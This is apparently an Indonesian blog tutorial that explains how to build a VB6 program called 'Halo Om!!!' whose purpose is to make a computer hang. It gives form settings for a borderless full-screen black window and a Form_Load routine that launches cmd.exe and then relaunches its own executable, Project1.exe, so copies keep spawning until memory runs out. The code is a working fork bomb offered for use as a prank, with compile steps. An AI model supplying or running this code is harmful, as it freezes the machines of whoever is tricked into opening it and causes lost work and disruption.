Kode vb6 untuk membuat komputer hank

Pada awalnya terlintas difikiran jika kekuatan ram ada batasnya kemudian terfikir untuk membuat program yang dapat membuat komputer hank menggunakan vb6, dan mulailah coding kira-kira 5 menit dan jadilah program yang diberi nama Halo Om!!!.

Program Halo Om!!! ini dibuat menggunakan vb6 dan inilah cara buatnya:

Buka vb6 dan buatlah 1 form dengan settingan seperti ini:

• BackColor = Pilih warna hitam, BorderStyle None, WidowsState Maximized.
• 1 label dengan BackColor hitam dan foreColor Merah Font 100 px dengan Text Halo Om!!! lihat gambar dibawah:

 

Kumudian klik 2 kali form1, hapus kode yang ada dan masukkan kode dibawah ini:

Private Sub Form_Load()
Dim Res
Dim Filename(1)
Filename(0) = "C:\windows\system32\cmd.exe" 'Check file is here first
Filename(1) = "Project1.exe" 'Check file is here first
If Dir(Filename(0)) = "" Then
MsgBox Filename(0) & " not found", vbInformation
Else
Res = Shell(Filename(0), vbNormalFocus)
Res = Shell(Filename(1), vbNormalFocus)
End If
End Sub

Klik File-->Make Project1.exe, pilih lokasi penyimpanan, dan Save.